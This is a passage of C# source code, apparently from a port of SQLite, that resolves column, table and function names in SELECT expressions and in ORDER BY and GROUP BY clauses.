}\n\n      /*\n      ** If X and Y are NULL (in other words if only the column name Z is\n      ** supplied) and the value of Z is enclosed in double-quotes, then\n      ** Z is a string literal if it doesn't match any column names.  In that\n      ** case, we need to return right away and not make any changes to\n      ** pExpr.\n      **\n      ** Because no reference was made to outer contexts, the pNC.nRef\n      ** fields are not changed in any context.\n      */\n      if ( cnt == 0 && zTab == null && ExprHasProperty( pExpr, EP_DblQuoted ) )\n      {\n        pExpr.op = TK_STRING;\n        pExpr.pTab = null;\n        return WRC_Prune;\n      }\n\n      /*\n      ** cnt==0 means there was not match.  cnt>1 means there were two or\n      ** more matches.  Either way, we have an error.\n      */\n      if ( cnt != 1 )\n      {\n        string zErr;\n        zErr = cnt == 0 ? \"no such column\" : \"ambiguous column name\";\n        if ( zDb != null )\n        {\n          sqlite3ErrorMsg( pParse, \"%s: %s.%s.%s\", zErr, zDb, zTab, zCol );\n        }\n        else if ( zTab != null )\n        {\n          sqlite3ErrorMsg( pParse, \"%s: %s.%s\", zErr, zTab, zCol );\n        }\n        else\n        {\n          sqlite3ErrorMsg( pParse, \"%s: %s\", zErr, zCol );\n        }\n        pTopNC.nErr++;\n      }\n\n      /* If a column from a table in pSrcList is referenced, then record\n      ** this fact in the pSrcList.a[].colUsed bitmask.  Column 0 causes\n      ** bit 0 to be set.  Column 1 sets bit 1.  And so forth.  If the\n      ** column number is greater than the number of bits in the bitmask\n      ** then set the high-order bit of the bitmask.\n      */\n      if ( pExpr.iColumn >= 0 && pMatch != null )\n      {\n        int n = pExpr.iColumn;\n        testcase( n == BMS - 1 );\n        if ( n >= BMS )\n        {\n          n = BMS - 1;\n        }\n        Debug.Assert( pMatch.iCursor == pExpr.iTable );\n        pMatch.colUsed |= ( (Bitmask)1 ) << n;\n      }\n\n      /* Clean up and return\n      */\n      sqlite3ExprDelete( db, ref pExpr.pLeft );\n      pExpr.pLeft = null;\n      sqlite3ExprDelete( db, ref pExpr.pRight );\n      pExpr.pRight = null;\n      pExpr.op = TK_COLUMN;\nlookupname_end:\n      if ( cnt == 1 )\n      {\n        Debug.Assert( pNC != null );\n        sqlite3AuthRead( pParse, pExpr, pSchema, pNC.pSrcList );\n        /* Increment the nRef value on all name contexts from TopNC up to\n        ** the point where the name matched. */\n        for ( ; ; )\n        {\n          Debug.Assert( pTopNC != null );\n          pTopNC.nRef++;\n          if ( pTopNC == pNC ) break;\n          pTopNC = pTopNC.pNext;\n        }\n        return WRC_Prune;\n      }\n      else\n      {\n        return WRC_Abort;\n      }\n    }\n\n    /*\n    ** This routine is callback for sqlite3WalkExpr().\n    **\n    ** Resolve symbolic names into TK_COLUMN operators for the current\n    ** node in the expression tree.  Return 0 to continue the search down\n    ** the tree or 2 to abort the tree walk.\n    **\n    ** This routine also does error checking and name resolution for\n    ** function names.  The operator for aggregate functions is changed\n    ** to TK_AGG_FUNCTION.\n    */\n    static int resolveExprStep( Walker pWalker, ref Expr pExpr )\n    {\n      NameContext pNC;\n      Parse pParse;\n\n      pNC = pWalker.u.pNC;\n      Debug.Assert( pNC != null );\n      pParse = pNC.pParse;\n      Debug.Assert( pParse == pWalker.pParse );\n\n      if ( ExprHasAnyProperty( pExpr, EP_Resolved ) ) return WRC_Prune;\n      ExprSetProperty( pExpr, EP_Resolved );\n#if !NDEBUG\n      if ( pNC.pSrcList != null && pNC.pSrcList.nAlloc > 0 )\n      {\n        SrcList pSrcList = pNC.pSrcList;\n        int i;\n        for ( i = 0 ; i < pNC.pSrcList.nSrc ; i++ )\n        {\n          Debug.Assert( pSrcList.a[i].iCursor >= 0 && pSrcList.a[i].iCursor < pParse.nTab );\n        }\n      }\n#endif\n      switch ( pExpr.op )\n      {\n\n#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY)\n/* The special operator TK_ROW means use the rowid for the first\n** column in the FROM clause.  This is used by the LIMIT and ORDER BY\n** clause processing on UPDATE and DELETE statements.\n*/\ncase TK_ROW: {\nSrcList pSrcList = pNC.pSrcList;\nSrcList_item pItem;\nDebug.Assert( pSrcList !=null && pSrcList.nSrc==1 );\npItem = pSrcList.a[0];\npExpr.op = TK_COLUMN;\npExpr.pTab = pItem.pTab;\npExpr.iTable = pItem.iCursor;\npExpr.iColumn = -1;\npExpr.affinity = SQLITE_AFF_INTEGER;\nbreak;\n}\n#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) /\n\n        /* A lone identifier is the name of a column.\n*/\n        case TK_ID:\n          {\n            return lookupName( pParse, null, null, pExpr.u.zToken, pNC, pExpr );\n          }\n\n        /* A table name and column name:     ID.ID\n        ** Or a database, table and column:  ID.ID.ID\n        */\n        case TK_DOT:\n          {\n            string zColumn;\n            string zTable;\n            string zDb;\n            Expr pRight;\n\n            /* if( pSrcList==0 ) break; */\n            pRight = pExpr.pRight;\n            if ( pRight.op == TK_ID )\n            {\n              zDb = null;\n              zTable = pExpr.pLeft.u.zToken;\n              zColumn = pRight.u.zToken;\n            }\n            else\n            {\n              Debug.Assert( pRight.op == TK_DOT );\n              zDb = pExpr.pLeft.u.zToken;\n              zTable = pRight.pLeft.u.zToken;\n              zColumn = pRight.pRight.u.zToken;\n            }\n            return lookupName( pParse, zDb, zTable, zColumn, pNC, pExpr );\n          }\n\n        /* Resolve function names\n        */\n        case TK_CONST_FUNC:\n        case TK_FUNCTION:\n          {\n            ExprList pList = pExpr.x.pList;    /* The argument list */\n            int n = pList != null ? pList.nExpr : 0;  /* Number of arguments */\n            bool no_such_func = false;       /* True if no such function exists */\n            bool wrong_num_args = false;     /* True if wrong number of arguments */\n            bool is_agg = false;             /* True if is an aggregate function */\n            int auth;                   /* Authorization to use the function */\n            int nId;                    /* Number of characters in function name */\n            string zId;                 /* The function name. */\n            FuncDef pDef;              /* Information about the function */\n            u8 enc = (u8)pParse.db.aDbStatic[0].pSchema.enc;// ENC( pParse.db );   /* The database encoding */\n\n            testcase( pExpr.op == TK_CONST_FUNC );\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n            zId = pExpr.u.zToken;\n            nId = sqlite3Strlen30( zId );\n            pDef = sqlite3FindFunction( pParse.db, zId, nId, n, enc, 0 );\n            if ( pDef == null )\n            {\n              pDef = sqlite3FindFunction( pParse.db, zId, nId, -1, enc, 0 );\n              if ( pDef == null )\n              {\n                no_such_func = true;\n              }\n              else\n              {\n                wrong_num_args = true;\n              }\n            }\n            else\n            {\n              is_agg = pDef.xFunc == null;\n            }\n#if !SQLITE_OMIT_AUTHORIZATION\nif( pDef ){\nauth = sqlite3AuthCheck(pParse, SQLITE_FUNCTION, 0, pDef.zName, 0);\nif( auth!=SQLITE_OK ){\nif( auth==SQLITE_DENY ){\nsqlite3ErrorMsg(pParse, \"not authorized to use function: %s\",\npDef.zName);\npNC.nErr++;\n}\npExpr.op = TK_NULL;\nreturn WRC_Prune;\n}\n}\n#endif\n            if ( is_agg && 0 == pNC.allowAgg )\n            {\n              sqlite3ErrorMsg( pParse, \"misuse of aggregate function %.*s()\", nId, zId );\n              pNC.nErr++;\n              is_agg = false;\n            }\n            else if ( no_such_func )\n            {\n              sqlite3ErrorMsg( pParse, \"no such function: %.*s\", nId, zId );\n              pNC.nErr++;\n            }\n            else if ( wrong_num_args )\n            {\n              sqlite3ErrorMsg( pParse, \"wrong number of arguments to function %.*s()\",\n              nId, zId );\n              pNC.nErr++;\n            }\n            if ( is_agg )\n            {\n              pExpr.op = TK_AGG_FUNCTION;\n              pNC.hasAgg = 1;\n            }\n            if ( is_agg ) pNC.allowAgg = 0;\n            sqlite3WalkExprList( pWalker, pList );\n            if ( is_agg ) pNC.allowAgg = 1;\n            /* FIX ME:  Compute pExpr.affinity based on the expected return\n            ** type of the function\n            */\n            return WRC_Prune;\n          }\n#if !SQLITE_OMIT_SUBQUERY\n        case TK_SELECT:\n        case TK_EXISTS:\n          {\n            testcase( pExpr.op == TK_EXISTS );\n            goto case TK_IN;\n          }\n#endif\n        case TK_IN:\n          {\n            testcase( pExpr.op == TK_IN );\n            if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n            {\n              int nRef = pNC.nRef;\n#if !SQLITE_OMIT_CHECK\n              if ( pNC.isCheck != 0 )\n              {\n                sqlite3ErrorMsg( pParse, \"subqueries prohibited in CHECK constraints\" );\n              }\n#endif\n              sqlite3WalkSelect( pWalker, pExpr.x.pSelect );\n              Debug.Assert( pNC.nRef >= nRef );\n              if ( nRef != pNC.nRef )\n              {\n                ExprSetProperty( pExpr, EP_VarSelect );\n              }\n            }\n            break;\n          }\n#if !SQLITE_OMIT_CHECK\n        case TK_VARIABLE:\n          {\n            if ( pNC.isCheck != 0 )\n            {\n              sqlite3ErrorMsg( pParse, \"parameters prohibited in CHECK constraints\" );\n            }\n            break;\n          }\n#endif\n      }\n      return ( pParse.nErr != 0 /* || pParse.db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Continue;\n    }\n\n    /*\n    ** pEList is a list of expressions which are really the result set of the\n    ** a SELECT statement.  pE is a term in an ORDER BY or GROUP BY clause.\n    ** This routine checks to see if pE is a simple identifier which corresponds\n    ** to the AS-name of one of the terms of the expression list.  If it is,\n    ** this routine return an integer between 1 and N where N is the number of\n    ** elements in pEList, corresponding to the matching entry.  If there is\n    ** no match, or if pE is not a simple identifier, then this routine\n    ** return 0.\n    **\n    ** pEList has been resolved.  pE has not.\n    */\n    static int resolveAsName(\n    Parse pParse,     /* Parsing context for error messages */\n    ExprList pEList,  /* List of expressions to scan */\n    Expr pE           /* Expression we are trying to match */\n    )\n    {\n      int i;             /* Loop counter */\n\n      UNUSED_PARAMETER( pParse );\n\n      if ( pE.op == TK_ID )\n      {\n        string zCol = pE.u.zToken;\n\n        for ( i = 0 ; i < pEList.nExpr ; i++ )\n        {\n          string zAs = pEList.a[i].zName;\n          if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 )\n          {\n            return i + 1;\n          }\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** pE is a pointer to an expression which is a single term in the\n    ** ORDER BY of a compound SELECT.  The expression has not been\n    ** name resolved.\n    **\n    ** At the point this routine is called, we already know that the\n    ** ORDER BY term is not an integer index into the result set.  That\n    ** case is handled by the calling routine.\n    **\n    ** Attempt to match pE against result set columns in the left-most\n    ** SELECT statement.  Return the index i of the matching column,\n    ** as an indication to the caller that it should sort by the i-th column.\n    ** The left-most column is 1.  In other words, the value returned is the\n    ** same integer value that would be used in the SQL statement to indicate\n    ** the column.\n    **\n    ** If there is no match, return 0.  Return -1 if an error occurs.\n    */\n    static int resolveOrderByTermToExprList(\n    Parse pParse,     /* Parsing context for error messages */\n    Select pSelect,   /* The SELECT statement with the ORDER BY clause */\n    Expr pE           /* The specific ORDER BY term */\n    )\n    {\n      int i = 0;             /* Loop counter */\n      ExprList pEList;  /* The columns of the result set */\n      NameContext nc;    /* Name context for resolving pE */\n\n      Debug.Assert( sqlite3ExprIsInteger( pE, ref i ) == 0 );\n      pEList = pSelect.pEList;\n\n      /* Resolve all names in the ORDER BY term expression\n      */\n      nc = new NameContext();// memset( &nc, 0, sizeof( nc ) );\n      nc.pParse = pParse;\n      nc.pSrcList = pSelect.pSrc;\n      nc.pEList = pEList;\n      nc.allowAgg = 1;\n      nc.nErr = 0;\n      if ( sqlite3ResolveExprNames( nc, ref pE ) != 0 )\n      {\n        sqlite3ErrorClear( pParse );\n        return 0;\n      }\n\n      /* Try to match the ORDER BY expression against an expression\n      ** in the result set.  Return an 1-based index of the matching\n      ** result-set entry.\n      */\n      for ( i = 0 ; i < pEList.nExpr ; i++ )\n      {\n        if ( sqlite3ExprCompare( pEList.a[i].pExpr, pE ) )\n        {\n          return i + 1;\n        }\n      }\n\n      /* If no match, return 0. */\n      return 0;\n    }\n\n    /*\n    ** Generate an ORDER BY or GROUP BY term out-of-range error.\n    */\n    static void resolveOutOfRangeError(\n    Parse pParse,         /* The error context into which to write the error */\n    string zType,     /* \"ORDER\" or \"GROUP\" */\n    int i,                 /* The index (1-based) of the term out of range */\n    int mx                 /* Largest permissible value of i */\n    )\n    {\n      sqlite3ErrorMsg( pParse,\n      \"%r %s BY term out of range - should be \" +\n      \"between 1 and %d\", i, zType, mx );\n    }\n\n    /*\n    ** Analyze the ORDER BY clause in a compound SELECT statement.   Modify\n    ** each term of the ORDER BY clause is a constant integer between 1\n    ** and N where N is the number of columns in the compound SELECT.\n    **\n    ** ORDER BY terms that are already an integer between 1 and N are\n    ** unmodified.  ORDER BY terms that are integers outside the range of\n    ** 1 through N generate an error.  ORDER BY terms that are expressions\n    ** are matched against result set expressions of compound SELECT\n    ** beginning with the left-most SELECT and working toward the right.\n    ** At the first match, the ORDER BY expression is transformed into\n    ** the integer column number.\n    **\n    ** Return the number of errors seen.\n    */\n    static int resolveCompoundOrderBy(\n    Parse pParse,        /* Parsing context.  Leave error messages here */\n    Select pSelect       /* The SELECT statement containing the ORDER BY */\n    )\n    {\n      int i;\n      ExprList pOrderBy;\n      ExprList pEList;\n      sqlite3 db;\n      int moreToDo = 1;\n\n      pOrderBy = pSelect.pOrderBy;\n      if ( pOrderBy == null ) return 0;\n      db = pParse.db;\n#if SQLITE_MAX_COLUMN\nif( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){\nsqlite3ErrorMsg(pParse, \"too many terms in ORDER BY clause\");\nreturn 1;\n}\n#endif\n      for ( i = 0 ; i < pOrderBy.nExpr ; i++ )\n      {\n        pOrderBy.a[i].done = 0;\n      }\n      pSelect.pNext = null;\n      while ( pSelect.pPrior != null )\n      {\n        pSelect.pPrior.pNext = pSelect;\n        pSelect = pSelect.pPrior;\n      }\n      while ( pSelect != null && moreToDo != 0 )\n      {\n        ExprList_item pItem;\n        moreToDo = 0;\n        pEList = pSelect.pEList;\n        Debug.Assert( pEList != null );\n        for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++)\n        {\n          pItem = pOrderBy.a[i];\n          int iCol = -1;\n          Expr pE, pDup;\n          if ( pItem.done != 0 ) continue;\n          pE = pItem.pExpr;\n          if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 )\n          {\n            if ( iCol <= 0 || iCol > pEList.nExpr )\n            {\n              resolveOutOfRangeError( pParse, \"ORDER\", i + 1, pEList.nExpr );\n              return 1;\n            }\n          }\n          else\n          {\n            iCol = resolveAsName( pParse, pEList, pE );\n            if ( iCol == 0 )\n            {\n              pDup = sqlite3ExprDup( db, pE, 0 );\n              ////if ( 0 == db.mallocFailed )\n              {\n                Debug.Assert( pDup != null );\n                iCol = resolveOrderByTermToExprList( pParse, pSelect, pDup );\n              }\n              sqlite3ExprDelete( db, ref pDup );\n            }\n          }\n          if ( iCol > 0 )\n          {\n            CollSeq pColl = pE.pColl;\n            int flags = pE.flags & EP_ExpCollate;\n            sqlite3ExprDelete( db, ref pE );\n            pItem.pExpr = pE = sqlite3Expr( db, TK_INTEGER, null );\n            if ( pE == null ) return 1;\n            pE.pColl = pColl;\n            pE.flags = (u16)( pE.flags | EP_IntValue | flags );\n            pE.u.iValue = iCol;\n            pItem.iCol = (u16)iCol;\n            pItem.done = 1;\n          }\n          else\n          {\n            moreToDo = 1;\n          }\n        }\n        pSelect = pSelect.pNext;\n      }\n      for ( i = 0 ; i < pOrderBy.nExpr ; i++ )\n      {\n        if ( pOrderBy.a[i].done == 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"%r ORDER BY term does not match any \" +\n          \"column in the result set\", i + 1 );\n          return 1;\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** Check every term in the ORDER BY or GROUP BY clause pOrderBy of\n    ** the SELECT statement pSelect.  If any term is reference to a\n    ** result set expression (as determined by the ExprList.a.iCol field)\n    ** then convert that term into a copy of the corresponding result set\n    ** column.\n    **\n    ** If any errors are detected, add an error message to pParse and\n    ** return non-zero.  Return zero if no errors are seen.\n    */\n    static int sqlite3ResolveOrderGroupBy(\n    Parse pParse,        /* Parsing context.  Leave error messages here */\n    Select pSelect,      /* The SELECT statement containing the clause */\n    ExprList pOrderBy,   /* The ORDER BY or GROUP BY clause to be processed */\n    string zType         /* \"ORDER\" or \"GROUP\" */\n    )\n    {\n      int i;\n      sqlite3 db = pParse.db;\n      ExprList pEList;\n      ExprList_item pItem;\n\n      if ( pOrderBy == null /* || pParse.db.mallocFailed != 0 */ ) return 0;\n#if SQLITE_MAX_COLUMN\nif( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){\nsqlite3ErrorMsg(pParse, \"too many terms in %s BY clause\", zType);\nreturn 1;\n}\n#endif\n      pEList = pSelect.pEList;\n      Debug.Assert( pEList != null );  /* sqlite3SelectNew() guarantees this */\n      for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++)\n      {\n        pItem = pOrderBy.a[i];\n        if ( pItem.iCol != 0 )\n        {\n          if ( pItem.iCol > pEList.nExpr )\n          {\n            resolveOutOfRangeError( pParse, zType, i + 1, pEList.nExpr );\n            return 1;\n          }\n          resolveAlias( pParse, pEList, pItem.iCol - 1, pItem.pExpr, zType );\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** pOrderBy is an ORDER BY or GROUP BY clause in SELECT statement pSelect.\n    ** The Name context of the SELECT statement is pNC.  zType is either\n    ** \"ORDER\" or \"GROUP\" depending on which type of clause pOrderBy is.\n    **\n    ** This routine resolves each term of the clause into an expression.\n    ** If the order-by term is an integer I between 1 and N (where N is the\n    ** number of columns in the result set of the SELECT) then the expression\n    ** in the resolution is a copy of the I-th result-set expression.  If\n    ** the order-by term is an identify that corresponds to the AS-name of\n    ** a result-set expression, then the term resolves to a copy of the\n    ** result-set expression.  Otherwise, the expression is resolved in\n    ** the usual way - using sqlite3ResolveExprNames().\n    **\n    ** This routine returns the number of errors.  If errors occur, then\n    ** an appropriate error message might be left in pParse.  (OOM errors\n    ** excepted.)\n    */\n    static int resolveOrderGroupBy(\n    NameContext pNC,     /* The name context of the SELECT statement */\n    Select pSelect,      /* The SELECT statement holding pOrderBy */\n    ExprList pOrderBy,   /* An ORDER BY or GROUP BY clause to resolve */\n    string zType         /* Either \"ORDER\" or \"GROUP\", as appropriate */\n    )\n    {\n      int i;                         /* Loop counter */\n      int iCol;                      /* Column number */\n      ExprList_item pItem;   /* A term of the ORDER BY clause */\n      Parse pParse;                 /* Parsing context */\n      int nResult;                   /* Number of terms in the result set */\n\n      if ( pOrderBy == null ) return 0;\n      nResult = pSelect.pEList.nExpr;\n      pParse = pNC.pParse;\n      for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++ )\n      {\n        pItem = pOrderBy.a[i];\n        Expr pE = pItem.pExpr;\n        iCol = resolveAsName( pParse, pSelect.pEList, pE );\n        if ( iCol > 0 )\n        {\n          /* If an AS-name match is found, mark this ORDER BY column as being\n          ** a copy of the iCol-th result-set column.  The subsequent call to\n          ** sqlite3ResolveOrderGroupBy() will convert the expression to a\n          ** copy of the iCol-th result-set expression. */\n          pItem.iCol = (u16)iCol;\n          continue;\n        }\n        if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 )\n        {\n          /* The ORDER BY term is an integer constant.  Again, set the column\n          ** number so that sqlite3ResolveOrderGroupBy() will convert the\n          ** order-by term to a copy of the result-set expression */\n          if ( iCol < 1 )\n          {\n            resolveOutOfRangeError( pParse, zType, i + 1, nResult );\n            return 1;\n          }\n          pItem.iCol = (u16)iCol;\n          continue;\n        }\n\n        /* Otherwise, treat the ORDER BY term as an ordinary expression */\n        pItem.iCol = 0;\n        if ( sqlite3ResolveExprNames( pNC, ref pE ) != 0 )\n        {\n          return 1;\n        }\n      }\n      return sqlite3ResolveOrderGroupBy( pParse, pSelect, pOrderBy, zType );\n    }\n\n    /*\n    ** Resolve names in the SELECT statement p and all of its descendents.\n    */\n    static int resolveSelectStep( Walker pWalker, Select p )\n    {\n      NameContext pOuterNC;  /* Context that contains this SELECT */\n      NameContext sNC;       /* Name context of this SELECT */\n      bool isCompound;       /* True if p is a compound select */\n      int nCompound;         /* Number of compound terms processed so far */\n      Parse pParse;          /* Parsing context */\n      ExprList pEList;       /* Result set expression list */\n      int i;                 /* Loop counter */\n      ExprList pGroupBy;     /* The GROUP BY clause */\n      Select pLeftmost;      /* Left-most of SELECT of a compound */\n      sqlite3 db;            /* Database connection */\n\n\n      Debug.Assert( p != null );\n      if ( ( p.selFlags & SF_Resolved ) != 0 )\n      {\n        return WRC_Prune;\n      }\n      pOuterNC = pWalker.u.pNC;\n      pParse = pWalker.pParse;\n      db = pParse.db;\n\n      /* Normally sqlite3SelectExpand() will be called first and will have\n      ** already expanded this SELECT.  However, if this is a subquery within\n      ** an expression, sqlite3ResolveExprNames() will be called without a\n      ** prior call to sqlite3SelectExpand().  When that happens, let\n      ** sqlite3SelectPrep() do all of the processing for this SELECT.\n      ** sqlite3SelectPrep() will invoke both sqlite3SelectExpand() and\n      ** this routine in the correct order.\n      */\n      if ( ( p.selFlags & SF_Expanded ) == 0 )\n      {\n        sqlite3SelectPrep( pParse, p, pOuterNC );\n        return ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Prune;\n      }\n\n      isCompound = p.pPrior != null;\n      nCompound = 0;\n      pLeftmost = p;\n      while ( p != null )\n      {\n        Debug.Assert( ( p.selFlags & SF_Expanded ) != 0 );\n        Debug.Assert( ( p.selFlags & SF_Resolved ) == 0 );\n        p.selFlags |= SF_Resolved;\n\n        /* Resolve the expressions in the LIMIT and OFFSET clauses. These\n        ** are not allowed to refer to any names, so pass an empty NameContext.\n        */\n        sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) );\n        sNC.pParse = pParse;\n        if ( sqlite3ResolveExprNames( sNC, ref p.pLimit ) != 0 ||\n        sqlite3ResolveExprNames( sNC, ref p.pOffset ) != 0 )\n        {\n          return WRC_Abort;\n        }\n\n        /* Set up the local name-context to pass to sqlite3ResolveExprNames() to\n        ** resolve the result-set expression list.\n        */\n        sNC.allowAgg = 1;\n        sNC.pSrcList = p.pSrc;\n        sNC.pNext = pOuterNC;\n\n        /* Resolve names in the result set. */\n        pEList = p.pEList;\n        Debug.Assert( pEList != null );\n        for ( i = 0 ; i < pEList.nExpr ; i++ )\n        {\n          Expr pX = pEList.a[i].pExpr;\n          if ( sqlite3ResolveExprNames( sNC, ref pX ) != 0 )\n          {\n            return WRC_Abort;\n          }\n        }\n\n        /* Recursively resolve names in all subqueries\n        */\n        for ( i = 0 ; i < p.pSrc.nSrc ; i++ )\n        {\n          SrcList_item pItem = p.pSrc.a[i];\n          if ( pItem.pSelect != null )\n          {\n            string zSavedContext = pParse.zAuthContext;\n            if ( pItem.zName != null ) pParse.zAuthContext = pItem.zName;\n            sqlite3ResolveSelectNames( pParse, pItem.pSelect, pOuterNC );\n            pParse.zAuthContext = zSavedContext;\n            if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return WRC_Abort;\n          }\n        }\n\n        /* If there are no aggregate functions in the result-set, and no GROUP BY\n        ** expression, do not allow aggregates in any of the other expressions.\n        */\n        Debug.Assert( ( p.selFlags & SF_Aggregate ) == 0 );\n        pGroupBy = p.pGroupBy;\n        if ( pGroupBy != null || sNC.hasAgg != 0 )\n        {\n          p.selFlags |= SF_Aggregate;\n        }\n        else\n        {\n          sNC.allowAgg = 0;\n        }\n\n        /* If a HAVING clause is present, then there must be a GROUP BY clause.\n        */\n        if ( p.pHaving != null && pGroupBy == null )\n        {\n          sqlite3ErrorMsg( pParse, \"a GROUP BY clause is required before HAVING\" );\n          return WRC_Abort;\n        }\n\n        /* Add the expression list to the name-context before parsing the\n        ** other expressions in the SELECT statement. This is so that\n        ** expressions in the WHERE clause (etc.) can refer to expressions by\n        ** aliases in the result set.\n        **\n        ** Minor point: If this is the case, then the expression will be\n        ** re-evaluated for each reference to it.\n        */\n        sNC.pEList = p.pEList;\n        if ( sqlite3ResolveExprNames( sNC, ref p.pWhere ) != 0 ||\n        sqlite3ResolveExprNames( sNC, ref p.pHaving ) != 0\n        )\n        {\n          return WRC_Abort;\n        }\n\n        /* The ORDER BY and GROUP BY clauses may not refer to terms in\n        ** outer queries\n        */\n        sNC.pNext = null;\n        sNC.allowAgg = 1;\n\n        /* Process the ORDER BY clause for singleton SELECT statements.\n        ** The ORDER BY clause for compounds SELECT statements is handled\n        ** below, after all of the result-sets for all of the elements of\n        ** the compound have been resolved.\n        */\n        if ( !isCompound && resolveOrderGroupBy( sNC, p, p.pOrderBy, \"ORDER\" ) != 0 )\n        {\n          return WRC_Abort;\n        }\n        //if ( db.mallocFailed != 0 )\n        //{\n        //  return WRC_Abort;\n        //}\n\n        /* Resolve the GROUP BY clause.  At the same time, make sure\n        ** the GROUP BY clause does not contain aggregate functions.\n        */\n        if ( pGroupBy != null )\n        {\n          ExprList_item pItem;\n\n          if ( resolveOrderGroupBy( sNC, p, pGroupBy, \"GROUP\" ) != 0 /*|| db.mallocFailed != 0 */ )\n          {\n            return WRC_Abort;\n          }\n          for ( i = 0 ; i < pGroupBy.nExpr ; i++ )//, pItem++)\n          {\n            pItem = pGroupBy.a[i];\n            if ( ( pItem.pExpr.flags & EP_Agg ) != 0 )//HasProperty(pItem.pExpr, EP_Agg) )\n            {\n              sqlite3ErrorMsg( pParse, \"aggregate functions are not allowed in \" +\n              \"the GROUP BY clause\" );\n              return WRC_Abort;\n            }\n          }\n        }\n\n        /* Advance to the next term of the compound\n        */\n        p = p.pPrior;\n        nCompound++;\n      }\n\n      /* Resolve the ORDER BY on a compound SELECT after all terms of\n      ** the compound have been resolved.\n      */\n      if ( isCompound && resolveCompoundOrderBy( pParse, pLeftmost ) != 0 )\n      {\n        return WRC_Abort;\n      }\n\n      return WRC_Prune;\n    }\n\n    /*\n    ** This routine walks an expression tree and resolves references to\n    ** table columns and result-set columns.  At the same time, do error\n    ** checking on function usage and set a flag if any aggregate functions\n    ** are seen.\n    **\n    ** To resolve table columns references we look for nodes (or subtrees) of the\n    ** form X.Y.Z or Y.Z or just Z where\n    **\n    **      X:   The name of a database.  Ex:  \"main\" or \"temp\" or\n    **           the symbolic name assigned to an ATTACH-ed database.\n    **\n    **      Y:   The name of a table in a FROM clause.  Or in a trigger\n    **           one of the special names \"old\" or \"new\".\n    **\n    **      Z:   The name of a column in table Y.\n    **\n    ** The node at the root of the subtree is modified as follows:\n    **\n    **    Expr.op        Changed to TK_COLUMN\n    **    Expr.pTab      Points to the Table object for X.Y\n    **    Expr.iColumn   The column index in X.Y.  -1 for the rowid.\n    **    Expr.iTable    The VDBE cursor number for X.Y\n    **\n    **\n    ** To resolve result-set references, look for expression nodes of the\n    ** form Z (with no X and Y prefix) where the Z matches the right-hand\n    ** size of an AS clause in the result-set of a SELECT.  The Z expression\n    ** is replaced by a copy of the left-hand side of the result-set expression.\n    ** Table-name and function resolution occurs on the substituted expression\n    ** tree.  For example, in:\n    **\n    **      SELECT a+b AS x, c+d AS y FROM t1 ORDER BY x;\n    **\n    ** The \"x\" term of the order by is replaced by \"a+b\" to render:\n    **\n    **      SELECT a+b AS x, c+d AS y FROM t1 ORDER BY a+b;\n    **\n    ** Function calls are checked to make sure that the function is\n    ** defined and that the correct number of arguments are specified.\n    ** If the function is an aggregate function, then the pNC.hasAgg is\n    ** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION.\n    ** If an expression contains aggregate functions then the EP_Agg\n    ** property on the expression is set.\n    **\n    ** An error message is left in pParse if anything is amiss.  The number\n    ** if errors is returned.\n    */\n    static int sqlite3ResolveExprNames(\n    NameContext pNC,       /* Namespace to resolve expressions in. */\n    ref Expr pExpr         /* The expression to be analyzed. */\n    )\n    {\n      u8 savedHasAgg;\n      Walker w = new Walker();\n\n      if ( pExpr == null ) return 0;\n#if SQLITE_MAX_EXPR_DEPTH//>0\n{\nParse pParse = pNC.pParse;\nif( sqlite3ExprCheckHeight(pParse, pExpr.nHeight+pNC.pParse.nHeight) ){\nreturn 1;\n}\npParse.nHeight += pExpr.nHeight;\n}\n#endif\n      savedHasAgg = pNC.hasAgg;\n      pNC.hasAgg = 0;\n      w.xExprCallback = resolveExprStep;\n      w.xSelectCallback = resolveSelectStep;\n      w.pParse = pNC.pParse;\n      w.u.pNC = pNC;\n      sqlite3WalkExpr( w, ref pExpr );\n#if SQLITE_MAX_EXPR_DEPTH//>0\npNC.pParse.nHeight -= pExpr.nHeight;\n#endif\n      if ( pNC.nErr > 0 || w.pParse.nErr > 0 )\n      {\n        ExprSetProperty( pExpr, EP_Error );\n      }\n      if ( pNC.hasAgg != 0 )\n      {\n        ExprSetProperty( pExpr, EP_Agg );\n      }\n      else if ( savedHasAgg != 0 )\n      {\n        pNC.hasAgg = 1;\n      }\n      return ExprHasProperty( pExpr, EP_Error ) ? 1 : 0;\n    }\n\n\n    /*\n    ** Resolve all names in all expressions of a SELECT and in all\n    ** decendents of the SELECT, including compounds off of p.pPrior,\n    ** subqueries in expressions, and subqueries used as FROM clause\n    ** terms.\n    **\n    ** See sqlite3ResolveExprNames() for a description of the kinds of\n    ** transformations that occur.\n    **\n    ** All SELECT statements should have been expanded using\n    ** sqlite3SelectExpand() prior to invoking this routine.\n    */\n    static void sqlite3ResolveSelectNames(\n    Parse pParse,         /* The parser context */\n    Select p,             /* The SELECT statement being coded. */\n    NameContext pOuterNC  /* Name context for parent SELECT statement */\n    )\n    {\n      Walker w = new Walker();\n\n      Debug.Assert( p != null );\n      w.xExprCallback = resolveExprStep;\n      w.xSelectCallback = resolveSelectStep;\n      w.pParse = pParse;\n      w.u.pNC = pOuterNC;\n      sqlite3WalkSelect( w, p );\n    }\n  }\n}\n"
  },
  {
